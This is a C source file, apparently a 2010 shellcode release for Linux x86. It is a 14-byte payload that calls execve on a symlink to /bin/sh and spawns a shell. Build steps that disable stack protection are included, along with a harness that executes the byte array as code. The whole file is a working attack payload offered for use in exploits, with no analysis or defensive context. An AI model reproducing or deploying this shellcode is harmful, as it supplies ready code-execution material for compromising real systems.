#include <stdio.h>
#include <string.h>

/*
 by Magnefikko
 17.04.2010
 magnefikko@gmail.com
 Promhyl Studies :: http://promhyl.oz.pl
 Subgroup: #PRekambr
 Name: 14 bytes execve("a->/bin/sh") local-only shellcode
 Platform: Linux x86
 
 execve("a", 0, 0);

 $ ln -s /bin/sh a
 $ gcc -Wl,-z,execstack filename.c
 $ ./a.out
 
 Link is required.

 shellcode:

\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80

*/

int main(){
 char shell[] = "\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
 printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
 (*(void (*)()) shell)();
}